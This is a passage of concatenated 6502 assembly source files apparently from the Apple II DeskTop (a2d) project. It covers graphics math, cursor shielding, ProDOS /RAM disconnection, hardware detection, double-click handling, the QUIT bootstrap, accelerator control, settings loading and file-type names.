iny
dex
bne :-
;; Add to x1 and y1; Y is 4...7
ldx #2
: clc
lda (params::rect),y
adc params::xdelta - 4,y
sta (params::rect),y
iny
lda (params::rect),y
adc params::xdelta - 4,y
sta (params::rect),y
iny
dex
bne :-
rts
.endproc ; InflateRectImpl
;;; ============================================================
.proc UnionRectsImpl
PARAM_BLOCK, $82
rect1_ptr .addr
rect2_ptr .addr
END_PARAM_BLOCK
ldy #0
jsr do_pair
ldy #2
FALL_THROUGH_TO do_pair
;; Process a pair (e.g. x1 and x2, or y1 and y2)
do_pair:
;; left or top
jsr compare
bpl :+
jsr assign
: iny
iny
iny
;; right or bottom
jsr compare
bmi :+
jsr assign
:
rts
compare:
lda (rect1_ptr),y
cmp (rect2_ptr),y
iny
lda (rect1_ptr),y
sbc (rect2_ptr),y
bvc :+ ; signed compare
eor #$80
: rts
assign:
dey
lda (rect1_ptr),y
sta (rect2_ptr),y
iny
lda (rect1_ptr),y
sta (rect2_ptr),y
rts
.endproc ; UnionRectsImpl
;;; ============================================================
.proc MulDivImpl
PARAM_BLOCK params, $82
number .word ; (in)
numerator .word ; (in)
denominator .word ; (in)
result .word ; (out)
remainder .word ; (out)
END_PARAM_BLOCK
AUXL := params::number ; $54 in original routines
AUXH := params::number+1
ACL := params::numerator ; $50 in original routines
ACH := params::numerator+1
AUX2L := params::denominator ; not in original routines
AUX2H := params::denominator+1
XTNDL := $90 ; $52 in original routines
XTNDH := $91
TMPL := $92 ; not in original routines
TMPH := $93
;; Prepare, per "Apple II Monitors Peeled" pp.71
lda #0
sta XTNDL
sta XTNDH
;; From MUL routine in Apple II Monitor, by Woz
;; "Apple II Reference Manual" pp.162
ldy #16 ; Index for 16 bits
MUL2: lda ACL ; ACX * AUX + XTND
lsr ; to AC, XTND
bcc MUL4 ; If no carry,
clc ; no partial product.
ldx #AS_BYTE(-2)
MUL3: lda XTNDL+2,x ; Add multiplicand (AUX)
adc AUXL+2,x ; to partial product
sta XTNDL+2,x ; (XTND).
inx
bne MUL3
;;; Original has this which is one byte shorter but requires AC and
;;; XTND to be adjacent:
;;;
;;; MUL4: ldx #3
;;; MUL5: ror ACL,x
;;; dex
;;; bpl MUL5
MUL4: ror XTNDH
ror XTNDL
ror ACH
ror ACL
dey
bne MUL2
;; Numerator: ACX,XTNDX
;; Denominator: AUX2X
;; Remainder: AUXX,TMPH
lda #0 ; clear remainder
sta AUXL
sta AUXH
sta TMPL
sta TMPH
ldy #32 ; bits remaining
DIV2: asl ACL ; shift high bits of numerator...
rol ACH
rol XTNDL
rol XTNDH
rol AUXL ; into remainder
rol AUXH
rol TMPL
rol TMPH
sec ; is remainder > denominator?
lda AUXL ; temp = remainder - denominator
sbc AUX2L
pha
lda AUXH
sbc AUX2H
pha
lda TMPL
sbc #0
tax
lda TMPH
sbc #0
bcs DIV3
pla ; no, drop temp value
pla
jmp next
DIV3: inc ACL ; yes
sta TMPH ; remainder = temp
stx TMPL
pla
sta AUXH
pla
sta AUXL
next: dey
bne DIV2
FALL_THROUGH_TO finish
;; --------------------------------------------------
;; Update `result`/`remainder` in passed param block
finish:
lda ACL ; result
ldy #(params::result - params)
sta (params_addr),y
iny
lda ACL+1
sta (params_addr),y
iny
lda AUXL ; remainder
sta (params_addr),y
iny
lda AUXL+1
sta (params_addr),y
rts
.endproc ; MulDivImpl
;;; ============================================================
;;; ShieldCursor
;;; 16 bytes of params, copied to $8A
.proc ShieldCursorImpl
;; Input is a `MapInfo`
left := $8A
top := $8C
bitmap := $8E ; unused
stride := $90 ; unused
hoff := $92 ; unused (TODO: should it be?)
voff := $94 ; unused (TODO: should it be?)
width := $96
height := $98
right := width
bottom := height
kSlop = 14 ; Two DHR bytes worth of pixels
jsr CheckRect
;; Offset passed rect by current port
ldx #2 ; loop over dimensions
: add16 left,x, current_winport::viewloc+MGTK::Point::xcoord,x, left,x
dex
dex
bpl :-
;; Offset passed rect by hotspot
add16_8 left, cursor_hotspot_x
add16_8 top, cursor_hotspot_y
;; Compute the far edges
ldx #2 ; loop over dimensions
: add16 left,x, width,x, right,x
dex
dex
bpl :-
;; Account for cursor size and render slop
sub16_8 left, #MGTK::cursor_width * 7 + kSlop
add16_8 right, #kSlop
sub16_8 top, #MGTK::cursor_height
ldx #2 ; loop over dimensions
loop:
lda cursor_pos+1,x
cmp left+1,x
bmi outside
bne :+
lda cursor_pos,x
cmp left,x
bcc outside
:
lda cursor_pos+1,x
cmp right+1,x
bmi :+
bne outside
lda cursor_pos,x
cmp right,x
bcc :+
bne outside
:
dex
dex
bpl loop
SET_BIT7_FLAG cursor_shielded_flag
jmp HideCursorImpl
outside:
ret: rts
.endproc ; ShieldCursorImpl
.proc UnshieldCursorImpl
rol cursor_shielded_flag
bcc ShieldCursorImpl::ret
jmp ShowCursorImpl
.endproc ; UnshieldCursorImpl
cursor_shielded_flag:
.byte 0
;;; ============================================================
.endscope ; mgtk
;; Room for future expansion
PAD_TO $8800
|
a2stuff/a2d
| 1,655
|
src/lib/disconnect_ram.s
|
;;; ============================================================
;;; Disconnect /RAM (Slot 3, Drive 2) if present.
;;; Requires:
;;; * `saved_ram_unitnum` (byte) to be defined
;;; * `saved_ram_drvec` (word) to be defined
;;; * `saved_ram_buffer` (16 bytes) to be defined
;;; ============================================================
.proc DisconnectRAM
;; Find Slot 3 Drive 2 /RAM device
ldx DEVCNT
DO
lda DEVLST,x
.ifndef PRODOS_2_5
and #$F3 ; per ProDOS 8 Technical Reference Manual
cmp #$B3 ; 5.2.2.3 - one of $BF, $BB, $B7, $B3
.else
cmp #$B0 ; ProDOS 2.5 uses $B0
.endif ; PRODOS_2_5
beq remove
dex
WHILE_POS
rts
;; Remove it, shuffle everything else down.
remove: lda DEVLST,x
sta saved_ram_unitnum
and #UNIT_NUM_MASK
sta on_line_params::unit_num
copy16 RAMSLOT, saved_ram_drvec
copy16 NODEV, RAMSLOT
shift: lda DEVLST+1,x
sta DEVLST,x
cpx DEVCNT
IF_NOT_ZERO
inx
bne shift ; always
END_IF
dec DEVCNT
;; Issue ON_LINE call to device after disconnecting it to
;; erase the VCB entry for the disconnected device, per
;; Technical Note: ProDOS #8: Dealing with /RAM
;; https://prodos8.com/docs/technote/08/
MLI_CALL ON_LINE, on_line_params
;; Should fail with `ERR_DEVICE_NOT_CONNECTED` ($28)
rts
DEFINE_ON_LINE_PARAMS on_line_params, SELF_MODIFIED_BYTE, saved_ram_buffer
.endproc ; DisconnectRAM
|
a2stuff/a2d
| 4,072
|
src/lib/event_params.s
|
;;; ============================================================
;;; Consolidated event params
;;;
;;; Reserves 10 bytes of space, and provides event params with
;;; overlapping structs for:
;;; `event_params`
;;; `activatectl_params`
;;; `trackthumb_params` (with x/y matching event x/y)
;;; `updatethumb_params`
;;; `screentowindow_params` (with screen x/y matching event x/y)
;;; `findwindow_params` (with x/y matching event x/y)
;;; `findcontrol_params` (with x/y matching event x/y)
;;; `findcontrolex_params` (with x/y matching event x/y)
;;; `findicon_params` (with x/y matching event x/y)
;;; `beginupdate_params` (with matching event window_id)
;;; ============================================================
PARAM_BLOCK event_params, *
kind .byte
.union
;;; if `kind` is key_down
.struct
key .byte
modifiers .byte
.endstruct
;;; if `kind` is no_event, button_down/up, drag, or apple_key:
.struct
coords .tag MGTK::Point
.endstruct
.struct
xcoord .word
ycoord .word
.endstruct
;;; if `kind` is update:
.struct
window_id .byte
.endstruct
.endunion
END_PARAM_BLOCK
PARAM_BLOCK setctlmax_params, *
which_ctl .byte
ctlmax .byte
END_PARAM_BLOCK
PARAM_BLOCK activatectl_params, *
which_ctl .byte
activate .byte
END_PARAM_BLOCK
PARAM_BLOCK updatethumb_params, *
which_ctl .byte
thumbpos .byte
END_PARAM_BLOCK
PARAM_BLOCK trackthumb_params, *
which_ctl .byte
mousex .word
mousey .word
thumbpos .byte
thumbmoved .byte
END_PARAM_BLOCK
ASSERT_EQUALS trackthumb_params::mousex, event_params::xcoord
ASSERT_EQUALS trackthumb_params::mousey, event_params::ycoord
ASSERT_EQUALS setctlmax_params::which_ctl, activatectl_params::which_ctl
ASSERT_EQUALS trackthumb_params::which_ctl, activatectl_params::which_ctl
ASSERT_EQUALS updatethumb_params::which_ctl, activatectl_params::which_ctl
PARAM_BLOCK screentowindow_params, *
window_id .byte
.union
screen .tag MGTK::Point
.struct
screenx .word
screeny .word
.endstruct
.endunion
.union
window .tag MGTK::Point
.struct
windowx .word
windowy .word
.endstruct
.endunion
END_PARAM_BLOCK
ASSERT_EQUALS screentowindow_params::screenx, event_params::xcoord
ASSERT_EQUALS screentowindow_params::screeny, event_params::ycoord
PARAM_BLOCK dragwindow_params, *
window_id .byte
dragx .word
dragy .word
moved .byte
END_PARAM_BLOCK
ASSERT_EQUALS dragwindow_params::dragx, event_params::xcoord
ASSERT_EQUALS dragwindow_params::dragy, event_params::ycoord
;;; --------------------------------------------------
;;; The following are offset so x/y overlap event_params x/y
PARAM_BLOCK findwindow_params, *+1
mousex .word
mousey .word
which_area .byte
window_id .byte
END_PARAM_BLOCK
ASSERT_EQUALS findwindow_params::mousex, event_params::xcoord
ASSERT_EQUALS findwindow_params::mousey, event_params::ycoord
PARAM_BLOCK findcontrol_params, *+1
mousex .word
mousey .word
which_ctl .byte
which_part .byte
END_PARAM_BLOCK
ASSERT_EQUALS findcontrol_params::mousex, event_params::xcoord
ASSERT_EQUALS findcontrol_params::mousey, event_params::ycoord
PARAM_BLOCK findcontrolex_params, *+1
mousex .word
mousey .word
which_ctl .byte
which_part .byte
window_id .byte
END_PARAM_BLOCK
ASSERT_EQUALS findcontrolex_params::mousex, event_params::xcoord
ASSERT_EQUALS findcontrolex_params::mousey, event_params::ycoord
PARAM_BLOCK findicon_params, *+1
mousex .word
mousey .word
which_icon .byte
window_id .byte
END_PARAM_BLOCK
ASSERT_EQUALS findicon_params::mousex, event_params::xcoord
ASSERT_EQUALS findicon_params::mousey, event_params::ycoord
PARAM_BLOCK beginupdate_params, *+1
window_id .byte
END_PARAM_BLOCK
ASSERT_EQUALS beginupdate_params::window_id, event_params::window_id
;;; Union of preceding param blocks
.res 10, 0
|
a2stuff/a2d
| 1,691
|
src/lib/detect_lcmeve.s
|
;;; ============================================================
;;; Detect Le Chat Mauve Eve card
;;; Output: non-zero if LCM Eve detected
;;; Assert: ROM is banked in
.proc DetectLeChatMauveEve
;; Based on IDENTIFICATION from the LCM Eve manual, pages 92-94
kSentinelValue = $EE
kModeValue = $0F
.assert kSentinelValue <> kModeValue, error, "Values must differ"
;; Skip on IIc/IIc+
lda ZIDBYTE
beq done
;; Skip on IIgs
sec
jsr IDROUTINE
bcc done
;; Detection routine
php
sei
sta SET80STORE ; let PAGE2 control banking
sta PAGE2ON ; access PAGE1X
ldx $400 ; save PAGE1X value in X
lda #kSentinelValue
sta $400 ; write to PAGE1X
lda #kModeValue
sta TEXT16_ON ; TEXT16 on
sta PAGE2OFF ; access PAGE1
ldy $400 ; save PAGE1 value in Y
sta $400 ; write to PAGE1
sta TEXT16_OFF ; TEXT16 off
sta PAGE2ON ; access PAGE1X
lda #kSentinelValue
eor $400 ; did the value change?
sta result ; if non-zero, Eve was shadowing
stx $400 ; restore PAGE1X from X
sta PAGE2OFF ; access PAGE1
sty $400 ; restore PAGE1 from Y
sta CLR80STORE ; restore PAGE2 meaning
plp
result := *+1
done: lda #0 ; self-modified (but not always)
rts
.endproc ; DetectLeChatMauveEve
|
a2stuff/a2d
| 2,930
|
src/lib/doubleclick.s
|
;;; ============================================================
;;; Double Click Detection
;;; Returns with A=0 if double click, A=$FF otherwise.
.proc DetectDoubleClick
;; Stash initial coords
ldx #.sizeof(MGTK::Point)-1
DO
copy8 event_params+MGTK::Event::coords,x, coords,x
dex
WHILE_POS
ldx #DeskTopSettings::dblclick_speed
jsr ReadSetting
sta counter
inx ; `ReadSetting` preserves X
jsr ReadSetting
sta counter+1
;; Decrement counter, bail if time delta exceeded
loop: dec16 counter
lda counter
ora counter+1
beq exit
MGTK_CALL MGTK::PeekEvent, event_params
;; Check coords, bail if pixel delta exceeded
jsr _CheckDelta
bmi exit ; moved past delta; no double-click
lda event_params+MGTK::Event::kind
cmp #MGTK::EventKind::no_event
beq loop ; nothing to consume
cmp #MGTK::EventKind::drag
beq consume
cmp #MGTK::EventKind::button_up
beq consume
cmp #MGTK::EventKind::button_down
beq :+
cmp #MGTK::EventKind::apple_key ; modified-click
bne exit
:
;; Double-click! Flush events rather than just getting the
;; next event to ensure there isn't a lingering button event.
;; (Observed on real hardware, e.g. IIc+)
MGTK_CALL MGTK::FlushEvents
return #0 ; double-click
exit: return #$FF ; not double-click
consume:
MGTK_CALL MGTK::GetEvent, event_params
jmp loop
;; Is the new coord within range of the old coord?
.proc _CheckDelta
;; compute x delta
lda event_params + MGTK::Event::xcoord
sec
sbc xcoord
sta delta
lda event_params + MGTK::Event::xcoord+1
sbc xcoord+1
IF_NEG
;; is -delta < x < 0 ?
lda delta
cmp #AS_BYTE(-kDoubleClickDeltaX)
bcs check_y
fail: return #$FF
END_IF
;; is 0 < x < delta ?
lda delta
cmp #kDoubleClickDeltaX
bcs fail
;; compute y delta
check_y:
lda event_params+MGTK::Event::ycoord
sec
sbc ycoord
sta delta
lda event_params+MGTK::Event::ycoord+1
sbc ycoord+1
IF_NEG
;; is -delta < y < 0 ?
lda delta
cmp #AS_BYTE(-kDoubleClickDeltaY)
bcs ok
END_IF
;; is 0 < y < delta ?
lda delta
cmp #kDoubleClickDeltaY
bcs fail
ok: return #0
.endproc ; _CheckDelta
counter:
.word 0
coords:
xcoord: .word 0
ycoord: .word 0
delta: .byte 0
.endproc ; DetectDoubleClick
|
a2stuff/a2d
| 5,818
|
src/lib/bootstrap.s
|
;;; ============================================================
;;; Bootstrap
;;;
;;; Compiled as part of DeskTop and Selector
;;; ============================================================
.org MODULE_BOOTSTRAP
;;; Install QuitRoutine to the ProDOS QUIT routine
;;; (Main, LCBANK2) and invoke it.
.proc InstallAsQuit
MLIEntry := MLI
;; Patch the current prefix into `QuitRoutine`
MLI_CALL GET_PREFIX, prefix_params
;; Need room for flags in $D280+ range (see common.inc)
.assert sizeof_QuitRoutine <= kMaxQuitRoutineSize, error, "too large"
bit LCBANK2
bit LCBANK2
src := $06
dst := $08
copy16 #QuitRoutine, src
copy16 #SELECTOR, dst
ldy #0
DO
copy8 (src),y, (dst),y
inc16 src
inc16 dst
ecmp16 src, #QuitRoutine + sizeof_QuitRoutine
WHILE_NE
bit ROMIN2
MLI_CALL QUIT, quit_params
DEFINE_QUIT_PARAMS quit_params
prefix_buffer := ::QuitRoutine + ::QuitRoutine::prefix_buffer_offset
DEFINE_GET_PREFIX_PARAMS prefix_params, prefix_buffer
.endproc ; InstallAsQuit
;;; New QUIT routine. Gets relocated to $1000 by ProDOS before
;;; being executed.
.proc QuitRoutine
.org ::SELECTOR_ORG
MLIEntry := MLI
self:
;; ProDOS 8 Technical Reference Manual 5.1.5.2
;; "In addition, the $D100 byte must be a CLD ($D8) instruction,
;; so that programs can tell whether selector code or the ProDOS
;; dispatcher code is resident."
cld
;; --------------------------------------------------
;; Show 80-column text screen
lda #$FF
sta INVFLG
sta FW80MODE
sta TXTSET
bit ROMIN2
jsr SETVID
jsr SETKBD
sta CLR80VID
sta SETALTCHAR
sta CLR80STORE
jsr SLOT3ENTRY
;; IIgs: Reset shadowing
sec
jsr IDROUTINE
IF_CC
.pushcpu
.p816
.a8
lda #%01111111 ; bit 7 is reserved
trb SHADOW ; ensure shadowing is enabled
lda #%11100000 ; bits 1-4 are reserved, bit 0 unchanged
trb NEWVIDEO ; color DHR, etc
.popcpu
END_IF
;; --------------------------------------------------
;; Display the loading string
retry:
jsr HOME
lda #kSplashVtab
jsr VTABZ
lda #(80 - kLoadingStringLength)/2
sta OURCH
ldy #0
DO
lda str_loading,y
jsr COUT
iny
WHILE_Y_NE #kLoadingStringLength
;; Close all open files (just in case)
MLI_CALL CLOSE, close_params
;; Initialize system bitmap
;; Initialize system bitmap
ldx #BITMAP_SIZE-1
lda #0
DO
sta BITMAP,x
dex
WHILE_POS
copy8 #%00000001, BITMAP+BITMAP_SIZE-1 ; ProDOS global page
copy8 #%11001111, BITMAP ; ZP, Stack, Text Page 1
;; Load the target module's loader at $2000
MLI_CALL SET_PREFIX, prefix_params
bcs prompt_for_system_disk
MLI_CALL OPEN, open_params
bcs _ErrorHandler
lda open_params::ref_num
sta set_mark_params::ref_num
sta read_params::ref_num
MLI_CALL SET_MARK, set_mark_params
bcs _ErrorHandler
MLI_CALL READ, read_params
bcs _ErrorHandler
MLI_CALL CLOSE, close_params
bcs _ErrorHandler
;; Invoke it
jmp kSegmentLoaderAddress
;;; ============================================================
;;; Display a string, and wait for Return keypress
prompt_for_system_disk:
jsr HOME
lda #kSplashVtab
jsr VTABZ
lda #(80 - kDiskPromptLength)/2
sta OURCH
ldy #0
DO
lda str_disk_prompt,y
jsr COUT
iny
WHILE_Y_NE #kDiskPromptLength
wait:
sta KBDSTRB
: lda KBD
bpl :-
cmp #CHAR_RETURN | $80
bne wait
jmp retry
;;; ============================================================
;;; Error Handler
.proc _ErrorHandler
brk ; just crash
.endproc ; _ErrorHandler
;;; ============================================================
;;; Strings
kDiskPromptLength = .strlen(res_string_prompt_insert_system_disk)
str_disk_prompt:
scrcode res_string_prompt_insert_system_disk
kSplashVtab = 12
kLoadingStringLength = .strlen(QR_LOADSTRING)
str_loading:
scrcode QR_LOADSTRING
;;; ============================================================
;;; ProDOS MLI call param blocks
io_buf := $1C00
.assert io_buf + $400 <= kSegmentLoaderAddress, error, "memory overlap"
DEFINE_OPEN_PARAMS open_params, filename, io_buf
DEFINE_SET_MARK_PARAMS set_mark_params, kSegmentLoaderOffset
DEFINE_READWRITE_PARAMS read_params, kSegmentLoaderAddress, kSegmentLoaderLength
DEFINE_CLOSE_PARAMS close_params
DEFINE_SET_PREFIX_PARAMS prefix_params, prefix_buffer
filename:
PASCAL_STRING QR_FILENAME
;;; ============================================================
;;; Populated before this routine is installed
prefix_buffer:
.res 64, 0
;;; Updated by DeskTop if parts of the path are renamed.
prefix_buffer_offset := prefix_buffer - self
.endproc ; QuitRoutine
sizeof_QuitRoutine = .sizeof(QuitRoutine)
;;; ============================================================
.assert .sizeof(QuitRoutine) + .sizeof(InstallAsQuit) <= kModuleBootstrapSize, error, "too large"
|
a2stuff/a2d
| 2,268
|
src/lib/save_textpage.s
|
;;; ============================================================
;;; Save/Restore Text Page
;;;
;;; Used in accessories to preserve MGTK caches when operations
;;; might trash the text page (e.g. initializing SSC)
;;; ============================================================
.scope save_textpage_impl
ptr_screen := $06
ptr_aux_buf := $08
ptr_main_buf := $10
kNumSegments = 8
kSegmentWidth = $78
kSegmentStride = $80
;;; Saves text page (except screen holes)
.proc SaveTextPage
lda RD80STORE
pha
sta SET80STORE
jsr InitPointers
ldx #kNumSegments-1
DO
ldy #kSegmentWidth-1
DO
sta PAGE2ON
lda (ptr_screen),y
sta (ptr_aux_buf),y
sta PAGE2OFF
lda (ptr_screen),y
sta (ptr_main_buf),y
dey
WHILE_POS
jsr IncPointers
dex
WHILE_POS
pla
IF_NC
sta CLR80STORE
END_IF
rts
.endproc ; SaveTextPage
;;; Restores text page (except screen holes)
.proc RestoreTextPage
lda RD80STORE
pha
sta SET80STORE
jsr InitPointers
ldx #kNumSegments-1
DO
ldy #kSegmentWidth-1
DO
sta PAGE2ON
lda (ptr_aux_buf),y
sta (ptr_screen),y
sta PAGE2OFF
lda (ptr_main_buf),y
sta (ptr_screen),y
dey
WHILE_POS
jsr IncPointers
dex
WHILE_POS
pla
IF_NC
sta CLR80STORE
END_IF
rts
.endproc ; RestoreTextPage
.proc InitPointers
copy16 #$400, ptr_screen
copy16 #textpage_aux_buf, ptr_aux_buf
copy16 #textpage_main_buf, ptr_main_buf
rts
.endproc ; InitPointers
.proc IncPointers
add16_8 ptr_screen, #kSegmentStride
add16_8 ptr_aux_buf, #kSegmentWidth
add16_8 ptr_main_buf, #kSegmentWidth
rts
.endproc ; IncPointers
textpage_main_buf: .res 24*40
textpage_aux_buf: .res 24*40
.endscope ; save_textpage_impl
;;; Exports
SaveTextPage := save_textpage_impl::SaveTextPage
RestoreTextPage := save_textpage_impl::RestoreTextPage
|
a2stuff/a2d
| 3,715
|
src/lib/speed.s
|
;;; ============================================================
;;; Accelerator (speed) control
;;;
;;; Not as full featured as lib/normfast.s - just used for
;;; *temporary* speed changes e.g. around alert sounds.
;;;
;;; Currently handles:
;;; * IIgs built-in accelerator
;;; * Mac IIe Option Card built-in accelerator
;;; * Laser 128 EX and EX/2 built-in accelerator
;;;
;;; The Apple IIc Plus is explicitly *not* handled. Speed
;;; adjustments using the CGGA kick the machine out of
;;; DHIRES mode. This can be restored, but even if done
;;; immediately after a call there are still unacceptable
;;; visual glitches for several scan lines after each call.
;;; (See Apple IIc Technical Reference Manual 2nd Ed.)
;;; ============================================================
;;; Exposes two procs:
;;; * `SlowSpeed` - slows system down to 1MHz
;;; * `ResumeSpeed` - restores accelerator to previous state
;;; ============================================================
;;; Assert: Aux LC is banked in; interrupts are inhibited
;;; NOTE: Must be called after `SlowSpeed`
.proc ResumeSpeed
ldx #DeskTopSettings::system_capabilities
jsr ReadSetting
tax ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIgs
IF_NOT_ZERO
ResumeSpeed::saved_cyareg := *+1
lda #SELF_MODIFIED_BYTE
sta CYAREG
rts
END_IF
;; Restore speed on Mac IIe Option Card
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIeCard
IF_NOT_ZERO
ResumeSpeed::saved_maciie := *+1
lda #SELF_MODIFIED_BYTE
sta MACIIE
rts
END_IF
;; Restore speed on Laser 128
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsLaser128
IF_NOT_ZERO
ResumeSpeed::saved_laserreg := *+1
lda #SELF_MODIFIED_BYTE
sta LASER128EX_CFG
END_IF
rts
.endproc ; ResumeSpeed
;;; Assert: Aux LC is banked in; interrupts are inhibited
;;; NOTE: Must be followed by a call to `ResumeSpeed`
.proc SlowSpeed
ldx #DeskTopSettings::system_capabilities
jsr ReadSetting
;; Slow down on IIgs
tax ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIgs
IF_NOT_ZERO
lda CYAREG
sta ResumeSpeed::saved_cyareg
and #%01111111 ; clear bit 7
sta CYAREG
rts
END_IF
;; Slow down on Mac IIe Option Card
;; Per Technical Note: Apple IIe #10: The Apple IIe Card for the Macintosh LC
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/aiie/tn.aiie.10.html
;; Restore speed on Mac IIe Option Card
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsIIeCard
IF_NOT_ZERO
lda MACIIE
sta ResumeSpeed::saved_maciie
and #%11111011 ; clear bit 2
sta MACIIE
rts
END_IF
;; Slow down on Laser 128 (EX or EX/2)
txa ; A = X = kSysCapXYZ bitmap
and #DeskTopSettings::kSysCapIsLaser128
IF_NOT_ZERO
lda LASER128EX_CFG
sta ResumeSpeed::saved_laserreg
and #$3F ; mask off
sta LASER128EX_CFG
;; NOTE: The Laser 128's screen hole location $7FE which is used for
;; persistence speed (e.g. to restore speed after disk access) is not
;; touched, as we don't want this to persist.
END_IF
rts
.endproc ; SlowSpeed
|
a2stuff/a2d
| 1,258
|
src/lib/get_next_event.s
|
;;; ============================================================
;;; GetNextEvent helper
;;; `GetNextEvent` - calls MGTK::GetEvent but synthesizes:
;;; * `kEventKindMouseMoved` if the mouse moves
;;;
;;; It is not necessary to use this, but useful in event loops
;;; where mouse movement is worth distinguishing.
;;;
;;; Requires:
;;; * `event_params` e.g. c/o lib/event_params.s
;;; ============================================================
;;; Output:
;;; * A = `kEventKindXXX` or `MGTK::EventKind::XXX`
.proc GetNextEvent
;; GetEvent
MGTK_CALL MGTK::GetEvent, event_params
lda event_params+MGTK::Event::kind
.assert MGTK::EventKind::no_event = 0, error, "enum mismatch"
IF_ZERO
ldx #.sizeof(MGTK::Point)-1
DO
lda event_params+MGTK::Event::coords,x
cmp coords,x
bne diff
dex
WHILE_POS
lda #MGTK::EventKind::no_event
beq set ; always
diff: COPY_STRUCT MGTK::Point, event_params+MGTK::Event::coords, coords
lda #kEventKindMouseMoved
FALL_THROUGH_TO set
END_IF
set: sta event_params+MGTK::Event::kind
rts
DEFINE_POINT coords, 0, 0
.endproc ; GetNextEvent
|
a2stuff/a2d
| 3,912
|
src/lib/load_settings.s
|
;;; ============================================================
;;; Load settings and alert sound (if present; otherwise default)
;;; and install in the ProDOS QUIT code area in Main/LCBank2.
;;;
;;; Required:
;;; * `SETTINGS_IO_BUF` - 1k ProDOS I/O buffer for the load
;;; Assert: Called with ROMIN/ALTZPOFF
;;; ============================================================
.scope load_settings_impl
DEFINE_OPEN_PARAMS open_cfg_params, str_config, SETTINGS_IO_BUF
DEFINE_READWRITE_PARAMS read_cfgver_params, version_byte, 1
DEFINE_READWRITE_PARAMS read_cfg_params, DefaultSettings, .sizeof(DeskTopSettings)
DEFINE_OPEN_PARAMS open_snd_params, str_sound, SETTINGS_IO_BUF
DEFINE_READWRITE_PARAMS read_snd_params, DefaultBell, kBellProcLength
DEFINE_CLOSE_PARAMS close_params
str_config:
PASCAL_STRING kPathnameDeskTopConfig
str_sound:
PASCAL_STRING kPathnameBellProc
version_byte:
.byte 0
LoadSettings:
;; --------------------------------------------------
;; Init machine-specific default settings in case load fails
;; (e.g. the file doesn't exist, version mismatch, etc)
;; See Apple II Miscellaneous #7: Apple II Family Identification
;; IIgs?
sec ; Follow detection protocol
jsr IDROUTINE ; RTS on pre-IIgs
ldxy #kDefaultDblClickSpeed*4
bcc update ; carry clear = IIgs
;; IIc Plus?
lda ZIDBYTE ; $00 = IIc or later
IF_ZERO
lda ZIDBYTE2 ; IIc ROM Version
cmp #5
beq update ; 4x speed
END_IF
;; Laser 128?
lda IDBYTELASER128 ; $AC = Laser 128
cmp #$AC
beq update ; 4x speed
;; Default:
ldxy #kDefaultDblClickSpeed
update: stxy DefaultSettings + DeskTopSettings::dblclick_speed
;; --------------------------------------------------
;; Now try to load the config file
.scope
MLI_CALL OPEN, open_cfg_params
bcs skip ; failed - use defaults
lda open_cfg_params::ref_num
sta read_cfgver_params::ref_num
sta read_cfg_params::ref_num
sta close_params::ref_num
MLI_CALL READ, read_cfgver_params
bcs close ; failed - use defaults
;; Check version byte; ignore on mismatch
lda version_byte
cmp #kDeskTopSettingsFileVersion
bne close ; mismatch - use defaults
;; Version byte is fine - read the rest of the file
MLI_CALL READ, read_cfg_params
close: MLI_CALL CLOSE, close_params
skip:
.endscope
;; --------------------------------------------------
;; Move settings block into place
bit LCBANK2
bit LCBANK2
COPY_STRUCT DeskTopSettings, DefaultSettings, SETTINGS
bit ROMIN2
;; --------------------------------------------------
;; Now try to load the sound file
.scope
MLI_CALL OPEN, open_snd_params
bcs close ; failed - use defaults
lda open_snd_params::ref_num
sta read_snd_params::ref_num
sta close_params::ref_num
MLI_CALL READ, read_snd_params
close: MLI_CALL CLOSE, close_params
.endscope
;; --------------------------------------------------
;; Move bell data block into place
bit LCBANK2
bit LCBANK2
COPY_BYTES kBellProcLength, DefaultBell, BELLDATA
bit ROMIN2
rts
;;; ============================================================
.include "../lib/default_sound.s"
.include "../lib/default_settings.s"
.endscope ; load_settings_impl
;;; Exports
LoadSettings := load_settings_impl::LoadSettings
|
a2stuff/a2d
| 3,921
|
src/lib/filetypestring.s
|
;;; ============================================================
;;; Requires: `hex_digits` to be defined as "0123456789ABCDEF"
;;; ============================================================
;;; Populated by call to `ComposeFileTypeString`
str_file_type:
PASCAL_STRING "$00"
;;; Input: A = ProDOS file type
;;; Output: `str_file_type` populated (3 chars, length prefixed)
;;; "BIN", "SYS" etc if known, "$xx" otherwise
.proc ComposeFileTypeString
sta file_type
;; Search `type_table` for type
ldy #kNumFileTypes-1
DO
lda type_table,y
file_type := *+1
cmp #SELF_MODIFIED_BYTE
IF_EQ
;; Found - copy string from `type_names_table`
tya
sta add
asl a ; *=2
clc
add := *+1 ; *=3
adc #SELF_MODIFIED_BYTE
tay
ldx #0
DO
copy8 type_names_table,y, str_file_type+1,x
iny
inx
WHILE_X_NE #3
rts
END_IF
dey
WHILE_POS
;; Type not found - use generic "$xx"
copy8 #'$', str_file_type+1
lda file_type
pha
lsr a
lsr a
lsr a
lsr a
tax
copy8 hex_digits,x, str_file_type+2
pla ; A = file_type
and #$0F
tax
copy8 hex_digits,x, str_file_type+3
rts
;;; Map ProDOS file type to string (for listings/Get Info).
;;; If not found, $XX is used (like CATALOG).
kNumFileTypes = 26
type_table:
.byte FT_TYPELESS ; unknown
.byte FT_BAD ; bad block
.byte FT_TEXT ; text
.byte FT_BINARY ; binary
.byte FT_FONT ; font
.byte FT_GRAPHICS ; graphics
.byte FT_DIRECTORY ; directory
.byte FT_ADB ; appleworks db
.byte FT_AWP ; appleworks wp
.byte FT_ASP ; appleworks sp
.byte FT_ANIMATION ; animation
.byte FT_S16 ; IIgs application
.byte FT_PNT ; IIgs Packed Super Hi-Res picture
.byte FT_PIC ; IIgs Super Hi-Res picture
.byte FT_MUSIC ; music
.byte FT_SOUND ; sampled sound
.byte FT_SPEECH ; speech
.byte FT_ARCHIVE ; archival library
.byte FT_LINK ; link
.byte FT_CMD ; command
.byte FT_INT ; intbasic
.byte FT_IVR ; intbasic variables
.byte FT_BASIC ; basic
.byte FT_VAR ; applesoft variables
.byte FT_REL ; rel
.byte FT_SYSTEM ; system
ASSERT_TABLE_SIZE type_table, kNumFileTypes
type_names_table:
;; Types marked with * are known to BASIC.SYSTEM.
.byte "NON" ; unknown
